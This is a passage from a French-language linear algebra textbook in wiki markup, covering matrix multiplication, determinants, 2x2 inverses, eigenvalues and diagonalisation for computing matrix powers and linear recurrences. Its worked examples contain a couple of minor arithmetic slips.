\begin{pmatrix} a&0\\ 0&b \end{pmatrix} = \begin{pmatrix} a^3&0\\ 0&b^3 \end{pmatrix} </math> Les exemples ci-dessus montrent que si D est une matrice diagonale alors <math>D^k\,</math> est très facile à calculer, tout ce que nous avons à faire est d'élever à la puissance k les entrées diagonales de la matrice. Ceci sera un fait très utile plus tard, lorsque nous apprendrons comment calculer le ''n''ème nombre de Fibonacci en utilisant les matrices. === Exercices === 1. Etablir les dimensions de C :a) <math>C = A_{n \times p}B_{p \times m}\,</math> :b) <math>C = \begin{pmatrix} 10^{10}&20\\ 5000&0 \end{pmatrix} \begin{pmatrix} 1&2&3&4\\ 2&5&6&6 \end{pmatrix} </math> 2. Evaluer. Noter svp que dans la multiplication matricielle (AB)C = A(BC) i.e. l'ordre dans lequel vous faites les multiplications ne pose pas de problème (démontré plus tard). :a) :<math> \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1\\ 1\\ \end{pmatrix}</math> :b) :<math> \begin{pmatrix} 3&1\\ 2&8\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&2\\ \end{pmatrix} \begin{pmatrix} 1&1\\ 0&1\\ \end{pmatrix} \begin{pmatrix} 1\\ 1\\ \end{pmatrix}</math> 3. Exécuter les multiplications suivantes : :<math> C = \begin{pmatrix} 1&2\\ 4&5 \end{pmatrix} \begin{pmatrix} 1&0\\ 0&1\\ \end{pmatrix}</math> :<math> D = \begin{pmatrix} 1&0\\ 0&1 \end{pmatrix} \begin{pmatrix} 1&2\\ 4&5\\ \end{pmatrix} </math> Que remarquez-vous ? == L'identité et les lois de multiplication == Si vous avez fait les exercices ci-dessus, vous avez remarqué que : :<math> \begin{pmatrix} 1&0\\ 0&1 \end{pmatrix} </math> est une matrice très spéciale. Elle est appelée la matrice identité 2 x 2. Une matrice identité est une matrice ''carrée'', dont les entrées diagonales sont toutes égales à 1 et les autres entrées égales à zéro. La matrice identité ''I'', possède les propriétés suivantes très spéciales # <math>A \times I = A</math> # <math>I \times A = A</math> Nous ne préciseront pas généralement la ''forme'' de l'identité parceque cela est évident dans le contexte, et dans ce chapitre, nous ne traiterons que des matrices identité 2 x 2. Dans l'ensemble des nombres réels, le nombre 1 satisfait : r x 1 = r = 1 x r, donc, il est clair que la matrice identité est analogue à "1". '''Associativité et distributivité''' Soit A, B, et C des matrices. L'associativité signifie :(AB)C = A(BC) c'est à dire que l'ordre dans lequel sont multipliées les matrices n'est pas important, parce que le résultat final que vous obtenez est le même, indépendamment de l'ordre dans lequel les multiplications ont été faites. La distributivité signifie :A(B + C) = AB + AC et :(A + B)C = AC + BC '''Note :''' La propriété de commutativité des nombres réels (i.e. ab = ba), ne peut pas être portée dans le monde des matrices. === Persuadez-vous vous-même === Pour toutes les matrices 2 x 2 A, B et C. Et ''I'' la matrice identité. 1. Persuadez-vous vous-même que dans le cas 2 x 2 : :<math>A(B + C) = AB + AC\,</math> et <math>:(A + B)C = AC + BC\,</math> 2. Persuadez-vous vous-même que dans le cas 2 x 2 : :<math>A(BC) = (AB)C\,</math> 3. Persuadez-vous vous-même que : :<math>AB\ne BA</math> en général. Quand y a t'il AB = BA ? Nommez au moins un cas. Noter que tout ce qu'il y a ci-dessus est vrai pour toutes les matrices (pour toute dimension/forme). == Déterminant et inverses == Nous considérerons le système d'équations : :<math>ax + by = \alpha\,</math> (1) :<math>cx + dy = \beta\,</math> (2) où a, b, c, d, <math>\alpha\,</math> et <math>\beta\,</math> sont des constantes. Nous voulons déterminer les conditions nécessaires pour que (1) et (2) aient une solution ''unique'' pour ''x'' et ''y''. Nous effectuons : :soit (1') = (1) x c :soit (2') = (2) x a i.e. :<math>acx + bcy = c \alpha\,</math> (1') :<math>acx + ady = a \beta\,</math> (2') Maintenant :soit (3) = (2') - (1') :<math>(ad - bc)''y'' = a \beta - c \alpha\,</math> (3) Maintenant, ''y'' peut être uniquement déterminé si et seulement si <math>(ad - bc) \ne 0\,</math>. Donc, la condition nécessaire pour que (1) et (2) aient une unique solution dépend des quatres coefficients de ''x'' et ''y''. Nous appelons ce nombre (ad - bc) le ''determinant'', parcequ'il nous indique s'il existe une unique solution pour un système d'équations à deux inconnues. En résumé :si <math>(ad - bc) = 0\,</math> alors il n'existe pas de solution ''unique''. :si <math>(ad - bc) \ne 0\,</math> alors il existe une solution ''unique''. '''Note :''' ''Unique'' : si le déterminant est zéro, il ne signifie pas nécessairement qu'il n'y a pas de solutions pour ce système d'équations ! Considérons : :<math>x + y = 2\,</math> :<math>7x + 7y = 14\,</math> le système d'équation ci-dessus possède un déterminant égal à zéro, mais il existe évidemment une solution, x = y = 1. En fait il existe une infinité de solutions ! Considérons aussi : :<math>x + y = 1\,</math> :<math>x + y = 2\,</math> le système d'équations ci-dessus possède un déterminant égal à zéro, et il n'existe pas de solutions. ''' Déterminant d'une matrice ''' Nous définissons le déterminant d'une matrice 2 x 2 <blockquote style="padding: 1em; border: 2px dotted purple;"> :<math>A = \begin{pmatrix} a&b\\ c&d \end{pmatrix}</math> est :<math> \det (A) = ad - bc\, </math> </blockquote> ''' Inverses ''' Il n'est peut-être pas très clair, à ce niveau, quel est l'usage de det(A). Mais il est intimement connecté avec l'idée d'un inverse. Considérons dans l'ensemble des nombres réels un nombre ''b'', il possède un inverse <math>\frac{1}{b}\,</math>, i.e. <math>b(\frac{1}{b}) = (\frac{1}{b})b = 1\,</math>. Nous savons que <math>\frac{1}{b}\,</math> n'existe pas lorsque ''b'' = 0. Dans le monde des matrices, une matrice ''A'' peut ou ne peut pas avoir un inverse, cela dépend de la valeur du déterminant det(A) ! Comment cela se passe ? Supposons que ''A'' (connue) possède un inverse ''B'' (i.e. AB = I = BA). Donc, nous voulons trouver B. Supposons de plus que :<math>A = \begin{pmatrix} a&b\\ c&d \end{pmatrix}</math> and :<math>B = \begin{pmatrix} w&x\\ y&z \end{pmatrix}</math> nous devons résoudre un système de quatre équations pour obtenir les valeurs de w, x, y et z en termes de a, b, c, d et det(A). :aw + by = 1 :cw + dy = 0 :ax + bz = 0 :cx + dz = 1 ''il est crucial que vous essayez de résoudre les équations vous-même''. La réponse requise est :<math>B = \frac{1}{\det(A)}\begin{pmatrix} d&-b\\ -c&a \end{pmatrix} </math> Ici, nous supposions que ''A'' possède un inverse, mais ceci n'a pas de sens si det(A) = 0, comme nous ne pouvons pas diviser par zéro. Donc <math>A^{-1}\,</math> (l'inverse de ''A'') existe si et seulement si <math>det(A) \ne 0\,</math>. '''Résumé''' Si AB = BA = I, alors nous disons que B est l'inverse de A. Nous notons l'inverse de ''A'' par <math>A^{-1}\,</math>. L'inverse d'une matrice 2 x 2 (si elle existe) :<math>A = \begin{pmatrix} a&b\\ c&d \end{pmatrix} </math> est :<math>A^{-1} = \frac{1}{\det(A)}\begin{pmatrix} d&-b\\ -c&a \end{pmatrix} </math> où det(A) est le déterminant de A. === Résolution de systèmes d'équations === Supposons que nous avons à résoudre : :<math>ax + by = \alpha\,</math> :<math>cx + dy = \beta\,</math> Soit :<math> A = \begin{pmatrix}a&b\\c&d\end{pmatrix}</math> :<math> w = \begin{pmatrix}x\\y\end{pmatrix}</math> :<math> \gamma = \begin{pmatrix}\alpha\\ \beta\end{pmatrix}</math> Nous pouvons traduire cela en forme matricielle :<math> \begin{pmatrix}a&b\\c&d\end{pmatrix}\begin{pmatrix}x\\y\end{pmatrix} = \begin{pmatrix}\alpha\\ \beta\end{pmatrix}</math> i.e :<math> Aw = \gamma\,</math> Si le déterminant de A n'est pas zéro, alors nous pouvons pré-multiplier les deux cotés par <math>A^{-1}\,</math>, l'inverse de A :<math> \begin{matrix} A^{-1}Aw &=& A^{-1}\gamma\\ Iw &=& A^{-1}\gamma\\ w &=& A^{-1}\gamma\\ \end{matrix} </math> i.e. :<math>\begin{pmatrix}x\\y\end{pmatrix} = \frac{1}{ad-bc}\begin{pmatrix}d&-b\\-c&a\end{pmatrix}\begin{pmatrix}\alpha\\ \beta\end{pmatrix}</math> ce qui implique que ''x'' et ''y'' sont uniques. === Exemples === Trouver l'inverse de A, s'il existe :a) <math> A = \begin{pmatrix}1&5\\2&3\end{pmatrix}</math> :b) <math> A = \begin{pmatrix}10&2\\2&7\end{pmatrix}</math> :c) <math> A = \begin{pmatrix}a&b\\3a&3b\end{pmatrix}</math> :d) <math> A = \begin{pmatrix}3&5\\5&3\end{pmatrix}</math> ''' Solutions''' :a) <math>A^{-1} = \frac{1}{-7}\begin{pmatrix}3&-5\\-2&1\end{pmatrix}</math> :b) <math>A^{-1} = \frac{1}{66}\begin{pmatrix}7&-2\\-2&10\end{pmatrix}</math> :c) Pas de solution, comme det(A) = 3ab - 3ab = 0 :d) <math>A^{-1} = \frac{1}{-16}\begin{pmatrix}3&-5\\-5&3\end{pmatrix}</math> === Exercices === '''1.''' Trouver le déterminant de :<math> A = \begin{pmatrix}\frac{2}{5}&\frac{2}{3}\\ \\ \frac{3}{2}& \frac{5}{2}\end{pmatrix}</math>. En utilisant le déterminant de A, décider s'il existe une unique solution pour le système d'équations suivant :<math> \begin{matrix} \frac{2}{5}x + \frac{2}{3}y = 0\\ \frac{3}{2}x + \frac{5}{2}y = 0 \end{matrix} </math> '''2.''' Supposons que :C = AB montrer que :det(C) = det(A)det(B) pour le cas 2 x 2. Note : c'est vrai pour tous les cas '''3.''' Montrer que si vous permutez les lignes de A pour obtenir A', alors det(A) = -det(A') '''4.''' En utilisant le résultat de 2) '''a)''' Démontrer que si : :<math>A = P^{-1}BP\,</math> alors det(A) = det(B) '''b)''' Démontrer que si : :<math>A^k = 0\,</math> pour un certain entier positif ''k'', alors det(A) = 0. '''c)''' Supposons que :<math>A^k = 0\,</math> et :<math>B^l = 0\,</math> démontrer que vous pouvez toujours ou non trouver un entier positif ''m'' tel que :<math>(A + B)^m = 0\,</math> '''5. a)''' Calculer <math>A^5\,</math>, c'est à dire multiplier A par elle-même 5 fois, où :<math>A = \begin{pmatrix} -1&6\\ -1&4\\ \end{pmatrix} </math> '''b)''' Trouver l'inverse de P où :<math> P = \begin{pmatrix} 1&-2\\ -1&3\\ \end{pmatrix} </math> '''c)''' Vérifier que :<math>A = P^{-1} \begin{pmatrix} 1&0\\ 0&2\\ \end{pmatrix} P </math> '''d)''' Calculer <math>A^5\,</math> en utilisant en partie (b) et (c). '''f)''' Calculer <math>A^100\,</math> == *Relations de récurrence linéaire revisitées* == Nous avons déjà discuté des relations de récurrence linéaire dans le chapitre [[AL Dénombrement et séries de puissances | Dénombrement et séries de puissances]]. Nous les étudierons de nouveau en utilisant les matrices. Considérons les nombres de Fibonacci :1, 1, 2, 3, 5, 8, 13, 21... où chaque nombre est la somme des deux nombres précédents. Soit <math>x_n\,</math> le (n + 1)ème nombre de Fibonacci, nous pouvons écrire : :<math> \begin{matrix} \begin{pmatrix} x_n\\ x_{n-1} \end{pmatrix} & = & \begin{pmatrix} x_{n-1} + x_{n-2}\\ x_{n-1} \end{pmatrix} \\ \\ & = & \begin{pmatrix} 1 &1\\ 1 &0 \end{pmatrix} \begin{pmatrix} x_{n-1}\\ x_{n-2} \end{pmatrix} \\ \\ & = & \begin{pmatrix} 1 &1\\ 1 &0 \end{pmatrix}^2 \begin{pmatrix} x_{n-2}\\ x_{n-3} \end{pmatrix} \\ \\ &... \\ \\ & = & \begin{pmatrix} 1 &1\\ 1 &0 \end{pmatrix}^{n-1} \begin{pmatrix} x_{1}\\ x_{0} \end{pmatrix} \\ \\ & = & \begin{pmatrix} 1 &1\\ 1 &0 \end{pmatrix}^{n-1} \begin{pmatrix} 1\\ 1 \end{pmatrix} \end{matrix} </math> En fait, beaucoup de relations de récurrence linéaire peuvent être exprimées sous forme matricielle, c.a.d. :<math>x_n = 2x_{n-1} + x_{n-2}; \ \mbox{si n} \ge 2</math> :<math>x_1 = 1</math> :<math>x_0 = 1</math> peut être exprimée comme :<math> \begin{pmatrix} x_n\\ x_{n-1} \end{pmatrix} = \begin{pmatrix} 2&1\\ 1&0 \end{pmatrix} \begin{pmatrix} x_{n-1}\\ x_{n-2} \end{pmatrix} </math> et par conséquent :<math> \begin{pmatrix} x_n\\ x_{n-1} \end{pmatrix} = \begin{pmatrix} 2&1\\ 1&0 \end{pmatrix} ^{n-1} \begin{pmatrix} 1\\ 1 \end{pmatrix} </math> Donc si nous savions comment calculer les puissances de matrices rapidement, alors nous pourrions extraire instantanément le (n + 1)ème nombre de Fibonacci. === Calculer les puissances rapidement === Considérons :<math> A = \begin{pmatrix} 1 & -2\\ 1 & 4 \end{pmatrix} </math> :<math> \overrightarrow{x} = \begin{pmatrix} 2 \\ -1 \end{pmatrix} </math> :<math> \overrightarrow{y} = \begin{pmatrix} -1 \\ 1 \end{pmatrix} </math> Quelque chose d'intéressant se passe lorsque vous multipliez '''''A''''' par soit <math>\overrightarrow{x}</math> ou <math>\overrightarrow{y}</math> (''Essayez-le''). En fait, :<math>A\overrightarrow{x} = 2\overrightarrow{x}</math> et :<math>A\overrightarrow{y} = 3\overrightarrow{y}</math>. Généralement pour une matrice '''B''', si un vecteur <math>w \ne 0\,</math> (la matrice avec toutes les entrées égales à zéro) telles que :<math> B\overrightarrow{ w } = \lambda \overrightarrow{ w }</math> pour un certain scalaire <math>\lambda\,</math>, alors <math> \overrightarrow{ w } </math> est appelé un vecteur propre de '''B''' et <math>\lambda\,</math> la valeur propre de '''B''' (correspondante à ''w''). Ceci est une particularité des matrices qui peut être exploitée pour calculer les puissances facilement. Ici, en utilisant '''''A''''', ''x'' et ''y'' comme précédemment, nous écrivons les deux parties de l'information ensemble sous forme matricielle : :<math> A\begin{pmatrix}\overrightarrow{x} & \overrightarrow{y}\end{pmatrix} = \begin{pmatrix}\overrightarrow{x} & \overrightarrow{y}\end{pmatrix} \begin{pmatrix}2 & 0\\ 0 & 3\end{pmatrix} </math> ou écrite complètement sous forme numérique :<math> \begin{pmatrix} 4 & -3\\ -2 & 3 \end{pmatrix} \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} = \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix} 2 & 0\\ 0 & 3 \end{pmatrix} </math> vous êtes encouragés à vérifier si cela est correct. Ce que nous avons fait, c'est la fusion de <math>\overrightarrow{x}</math> et <math>\overrightarrow{y}</math> en une matrice en utilisant chaque vecteur comme une colonne, puis nous l'avons multiplié par une matrice diagonale dont les entrées sont les ''valeurs propres'' de chaque ''vecteur propre'' correspondant. Comment exploiter cette forme matricielle pour calculer les puissances de '''''A''''' rapidement ? Nous requérons une simple mais ingénieuse étape -- post-multiplier (i.e. multiplier à partir de la droite) les deux cotés par l'inverse de :<math> \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} </math> Nous avons :<math> \begin{pmatrix} 4 & -3\\ -2 & 3 \end{pmatrix} = \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix}2 & 0\\ 0 & 3\end{pmatrix} \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix}^{-1} </math> Maintenant, pour calculer <math>A^n\,</math>, nous devons seulement faire :<math>A^n = \begin{pmatrix} 4 & -3\\ -2 & 3 \end{pmatrix}^n = </math> :<math> \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix}2 & 0\\ 0 & 3\end{pmatrix} \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix}^{-1} ... \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix}2 & 0\\ 0 & 3\end{pmatrix} \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix}^{-1} </math> mais multiplier par l'inverse pour donner ''I'', donc, nous somme avec :<math>A^n = \begin{pmatrix} 4 & -3\\ -2 & 3 \end{pmatrix}^n = \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix}2 & 0\\ 0 & 3\end{pmatrix}^n \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix}^{-1} </math> qui est très facile à calculer puisque les puissances d'une matrice diagonale sont faciles à calculer (simplement élever à la puissance chaque entrée). ====Exemple 1==== Calculer <math>A^5\,</math> où '''''A''''' est donnée ci-dessus. '''Solution''' Nous faisons :<math> A^5 = \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix}2 & 0\\ 0 & 3\end{pmatrix}^5 \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix}^{-1} </math> :<math> A^5 = \begin{pmatrix} 2 & -1\\ -1 & 1 \end{pmatrix} \begin{pmatrix}2^5 & 0\\ 0 & 3^5\end{pmatrix} \begin{pmatrix} 1 & 1\\ 1 & 2 \end{pmatrix} </math> :<math> A^5 = \begin{pmatrix} 2^6-3^5 & 2^6-2\times 3^5\\ -2^5+3^5 & -2^5 + 2\times 3^5 \end{pmatrix} </math> ====Exemple 2==== Soit :<math>B = \begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix} </math> et ses vecteurs propres sont :<math>\begin{pmatrix} 2\\ 1 \end{pmatrix} </math> et <math>\begin{pmatrix} 7\\ 4 \end{pmatrix} </math> Calculer <math>B^5\,</math> directement (facultatif), et de nouveau en utilisant la méthode ci-dessus. ''' Solution ''' Nous devons d'abord déterminer ses valeurs propres. Nous effectuons :<math>\begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix} \begin{pmatrix} 2\\ 1 \end{pmatrix} = \begin{pmatrix} 2\\ 1 \end{pmatrix} </math> donc la valeur propre correspondante à :<math>\begin{pmatrix} 2\\ 1 \end{pmatrix} </math> est 1. De manière similaire, :<math>\begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix} \begin{pmatrix} 7\\ 4 \end{pmatrix} = \begin{pmatrix} 21\\ 12 \end{pmatrix} = 3\begin{pmatrix} 7\\ 4 \end{pmatrix} </math> donc, l'autre valeur propre est 3. Maintenant, nous les écrivons sous la forme : :<math>\begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix} \begin{pmatrix} 2 & 7\\ 1 & 4 \end{pmatrix} = \begin{pmatrix} 2 & 7\\ 1 & 4 \end{pmatrix} \begin{pmatrix} 1 & 0\\ 0 & 3 \end{pmatrix} </math> maintenant, revenons à '''''B''''' :<math>\begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix} = \begin{pmatrix} 2 & 7\\ 1 & 4 \end{pmatrix} \begin{pmatrix} 1 & 0\\ 0 & 3 \end{pmatrix} \begin{pmatrix} 4 & -7\\ -1 & 2 \end{pmatrix} </math> Maintenant :<math>\begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix}^5 = \begin{pmatrix} 2 & 7\\ 1 & 4 \end{pmatrix} \begin{pmatrix} 1^5 & 0\\ 0 & 3^5 \end{pmatrix} \begin{pmatrix} 4 & -7\\ -1 & 2 \end{pmatrix} </math> :en multipliant le coté droit, nous obtenons <math>\begin{pmatrix} -13 & 28\\ -8 & 17 \end{pmatrix}^5 = \begin{pmatrix} 8-7\times 3^5 & 14(3^5-1)\\ 4(3^5-1) & -7+8\times 3^5 \end{pmatrix} </math> ==== Résumé -- calculer les puissances de matrices rapidement ==== Les vecteurs propres d'une matrice '''A''' sont donnés # Calculer les valeurs propres (si elles ne sont pas données) # Ecrire '''A''' sous la forme <math>A = PDP^{-1}\,</math>, où D est une matrice diagonale des valeurs propres, et P les vecteurs propres en colonnes # Calculer <math>A^n\,</math> en utilisant l'équivalence du coté droit ==== Exercices ==== 1. Les vecteurs propres de :<math>B = \begin{pmatrix} -8&6\\ -15&11 \end{pmatrix}</math> sont :<math>\begin{pmatrix} 2\\ 3 \end{pmatrix}</math> et <math>\begin{pmatrix} 3\\ 5 \end{pmatrix}</math> calculer <math>B^5\,</math> 2. Les vecteurs propres de :<math>B = \begin{pmatrix} -8&6\\ -9&7 \end{pmatrix}</math> sont :<math>\begin{pmatrix} 1\\ 1 \end{pmatrix}</math> et <math>\begin{pmatrix} 2\\ 3 \end{pmatrix}</math> calculer <math>B^5\,</math> 3. Les vecteurs propres de :<math>B = \begin{pmatrix} 177&-140\\ 225&-178 \end{pmatrix}</math> sont :<math>\begin{pmatrix} 4\\ 5 \end{pmatrix}</math> and <math>\begin{pmatrix} 7\\ 9 \end{pmatrix}</math> calculer <math>B^5\,</math> === Vecteur propre et valeur propre === Nous savons à partir de la section précédente que si les vecteurs propres d'une matrice sont donnés, nous pouvons trouver les valeurs propres correspondantes, et ainsi, nous pouvons calculer ses puissances rapidement. Le dernier obstacle réside dans la recherche des vecteurs propres sans savoir ce qu'ils sont. Un vecteur propre <math>\overrightarrow{x}</math> d'une matrice '''A''' et sa valeur propre correspondante <math>\lambda\,</math> sont reliés par l'expression correspondante : :<math>A\overrightarrow{x} = \lambda \overrightarrow{x}\,</math> où <math>x \ne 0\,</math> où ''0'' est la matrice zéro (toutes les entrées sont égales à zéro). Nous pouvons assurément supposer que '''A''' est donné, donc il existe deux inconnues -- <math>\overrightarrow{x}\,</math> et <math>\lambda\,</math>. Comme nous avons qu'une seule équation, nous avons besoin d'éliminer une inconnue : :<math>A\overrightarrow{x} - \lambda \overrightarrow{x} = 0</math> :<math>A\overrightarrow{x} - \lambda I \overrightarrow{x} = 0</math> :<math>(A - \lambda I) \overrightarrow{x} = 0</math> La matrice ('''A''' - <math>\lambda\,</math>'''I''') '''NE DOIT PAS ETRE''' un inverse, parceque sinon <math>\overrightarrow{x}</math> = '''0'''. Par conséquent <math>det(A - \lambda I) = 0\,</math>. Supposons :<math> A = \begin{pmatrix} a&b\\ c&d \end{pmatrix} </math> then :<math> A-\lambda I = \begin{pmatrix} a - \lambda&b\\ c&d - \lambda \end{pmatrix} </math> :<math> 0 = \det(A-\lambda I) = (a - \lambda)(d - \lambda) - bc\, </math> Maintenant, nous voyons que <math>det(A - \lambda I) = 0\,</math> est un polynôme en <math>\lambda\,</math> et <math>det(A - \lambda I) = 0\,</math>. Nous sommes déjà bien entraînés à la résolution de polynômes quadratiques, donc il est facile d'extraire les valeurs de <math>\lambda\,</math>. Une fois que nous avons extrait les valeurs de <math>\lambda\,</math>, nous pouvons extraire <math>\overrightarrow{x}</math> (voir les exemples). Si :<math>Ax_o = \lambda_0x_o\,</math> pour un certain <math>x_o\,</math> et un certain <math>\lambda_0\,</math>, alors <math>\lambda_0\,</math> est appelé la ''valeur propre'' de A et <math>x_o\,</math> le ''vecteur propre'' de A et correspondant à <math>\lambda_0\,</math>. ==== Exemple 1 ==== Trouver les valeurs propres et les vecteurs propres de :<math>A = \begin{pmatrix} -4&15\\ -2&7 \end{pmatrix} </math> puis trouver D et P tel que <math>A = P^{-1}DP\,</math>. '''Solution''' Nous voulons trouver <math>\overrightarrow{x}\,</math> et <math>\lambda\,</math> tel que :<math>A \overrightarrow{x} = \lambda \overrightarrow{x}\,</math> nous effectuons :<math> \begin{pmatrix} -4&15\\ -2&7 \end{pmatrix} \overrightarrow{x} = \lambda \overrightarrow{x} </math> :<math> \begin{pmatrix} -4 - \lambda &15\\ -2&7 - \lambda \end{pmatrix} \overrightarrow{x} = 0 </math> (**) :<math>det(A - \lambda I) =\,</math> :<math>0 = (-4 - \lambda)(7 - \lambda) + 30\,</math> :<math>0 = -28 - 3\lambda + \lambda^2 + 30\,</math> :<math>0 = \lambda^2 - 3\lambda + 2\,</math> :<math>0 = (\lambda - 1)(\lambda - 2)\,</math> :<math>\lambda = 1, 2\,</math> Maintenant, pour chaque valeur propre, nous obtiendrons un vecteur propre correspondant différent. Donc, nous considérons le cas <math>\lambda = 1\,</math> et <math>\lambda = 2\,</math> séparément. Considérons d'abord <math>\lambda = 1\,</math>, à partir de (**) nous obtenons :<math> \begin{pmatrix} -4 - 1 &15\\ -2&7 - 1 \end{pmatrix} x = 0 </math> i.e. :<math> \begin{pmatrix} -5&15\\ -2& 6 \end{pmatrix} \begin{pmatrix} u\\ v \end{pmatrix} = 0 </math> où <math>x = \begin{pmatrix} u\\ v \end{pmatrix} </math> puisque <math>det(A - \lambda I) = 0\,</math>, nous savons qu'il n'y a pas une solution ''unique'' à la question ci-dessus. Mais nous notons que : :<math>x = \begin{pmatrix} 3t\\ 1t \end{pmatrix} </math> pour tout nombre réel ''t'' est une solution, et nous choisissons t = 1 pour notre solution parceque c'est le plus simple. Par conséquent :<math>x = \begin{pmatrix} 3\\ 1 \end{pmatrix} </math> est le vecteur propre correspondant à <math>\lambda = 1\,</math>. (***) De manière similaire, si <math>\lambda = 2\,</math>, à partir de (**) nous obtenons :<math> \begin{pmatrix} -4 - 2 &15\\ -2&7 - 2 \end{pmatrix} x = 0 </math> i.e. :<math> \begin{pmatrix} -6&15\\ -2& 5 \end{pmatrix} \begin{pmatrix} u\\ v \end{pmatrix} = 0 </math> où <math>x = \begin{pmatrix} u\\ v \end{pmatrix} </math> nous notons que : :<math>x = \begin{pmatrix} 5t\\ 2t \end{pmatrix} </math> tout nombre réel ''t'' est une solution, comme précédemment, nous choisissons t = 1 pour notre solution. Par conséquent :<math>x = \begin{pmatrix} 5\\ 2 \end{pmatrix} </math> est le vecteur propre correspondant à <math>\lambda = 2\,</math>. (****) Nous résummons le résultat de (***) et (****), nous avons :<math> A \begin{pmatrix} 3\\ 1 \end{pmatrix} = \begin{pmatrix} 3\\ 1 \end{pmatrix} </math> :<math> A \begin{pmatrix} 5\\ 2 \end{pmatrix} = 2 \begin{pmatrix} 5\\ 2 \end{pmatrix} </math> nous combinons les résultats dans :<math> A \begin{pmatrix} 3&5\\ 1&2 \end{pmatrix} = \begin{pmatrix} 3&5\\ 1&2 \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2 \end{pmatrix} </math> et donc :<math> A = \begin{pmatrix} 3&5\\ 1&2 \end{pmatrix} \begin{pmatrix} 1&0\\ 0&2 \end{pmatrix} \begin{pmatrix} 3&5\\ 1&2 \end{pmatrix}^{-1} </math> ---- ==== Exemple 2 ==== :a) Diagonaliser A, i.e trouver P (inversible) et B (diagonale) tel que AP = PB :b) Calculer <math>A^5\,</math> :<math> A = \begin{pmatrix} 1&2\\ -1&4 \end{pmatrix} </math> ''' Solution ''' a) Nous résolvons <math>Ax = \lambda x\,</math>, où <math>\lambda\,</math> est une constante et '''x''' un vecteur colonne. D'abord :<math>Ax - \lambda Ix = 0\,</math> :<math>(A - \lambda I)x = 0\,</math> puisque <math>x \ne 0\,</math>, nous avons :<math>det(A - \lambda I) = 0\,</math> i.e. :<math> \det\begin{pmatrix} 1-\lambda&2\\ -1&4-\lambda \end{pmatrix} = 0 </math> <br></br> :<math> \begin{matrix} (1-\lambda)(4-\lambda) + 2 &=& 0\\ \lambda^2-5\lambda + 6 &=& 0 \end{matrix} </math> <br></br> :<math>\lambda = 3,\ 2</math> Pour <math>\lambda = 3\,</math>, :<math>(A-3I)x = 0\,</math> <br /> :<math> \begin{pmatrix} -2&2\\ -1&1 \end{pmatrix} \begin{pmatrix} x\\ y \end{pmatrix} = 0 </math> Clairement : :<math> \begin{pmatrix} x\\ y \end{pmatrix} = \begin{pmatrix} 1\\ 1 \end{pmatrix} </math> est une solution. Notez que nous n'acceptons pas '''x''' = 0 comme une solution, parceque nous supposons <math>x \ne 0\,</math>. Notons également que :<math> \begin{pmatrix} x\\ y \end{pmatrix} = \begin{pmatrix} t\\ t \end{pmatrix} </math> pour une certaine constante ''t'' est aussi une solution. Vraiment, nous pouvions utiliser x = y = 2, 3 ou 4 comme une solution, mais d'un coté pratique, nous choisissons le plus simple i.e. x = y = 1. Pour <math>\lambda = 2\,</math>, :<math>(A-2I)x = 0\,</math> <br /> :<math> \begin{pmatrix} -1&2\\ -1&2 \end{pmatrix} \begin{pmatrix} x\\ y \end{pmatrix} = 0 </math> Clairement :<math> \begin{pmatrix} x\\ y \end{pmatrix} = \begin{pmatrix} 2\\ 1 \end{pmatrix} </math> est une solution. Par conséquent :<math> A \begin{pmatrix} 1&2\\ 1&1 \end{pmatrix} = \begin{pmatrix} 1&2\\ 1&1 \end{pmatrix} \begin{pmatrix} 3&0\\ 0&2 \end{pmatrix} </math> est une solution et :<math> A \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix} = \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix} \begin{pmatrix} 2&0\\ 0&3 \end{pmatrix} </math> est aussi une solution. :b) :<math> A^5 = \begin{pmatrix} \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix} \begin{pmatrix} 2&0\\ 0&3 \end{pmatrix} \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix}^{-1} \end{pmatrix} ^5 </math> <br/> :<math> A^5 = \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix} \begin{pmatrix} 2&0\\ 0&3 \end{pmatrix}^5 \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix}^{-1} </math> <br/> :<math> A^5 = \begin{pmatrix} 2&1\\ 1&1 \end{pmatrix} \begin{pmatrix} 2^5&0\\ 0&3^5 \end{pmatrix} \begin{pmatrix} 1&-1\\ -1&2 \end{pmatrix} </math> <br/> :<math> A^5 = \begin{pmatrix} 2^6-3^5&2^6-2\times 3^5\\ 2^5-3^5&-2^5+2\times 3^5 \end{pmatrix} </math> ---- ==== Exemple 3 ==== Résoudre la relation de récurrence linéaire :<math> \begin{matrix} x_n &=& 5x_{n-1}& -& 6x_{n-2}; \ \mbox{si n} \ge 2\\ x_1 &=& 1\\ x_0 &=& 0\\ \end{matrix} </math> ''' Solution ''' :<math> \begin{pmatrix} x_n\\ x_{n-1} \end{pmatrix} = \begin{pmatrix} 5&-6\\ 1&0 \end{pmatrix}^{n-1} \begin{pmatrix} 1\\ 0 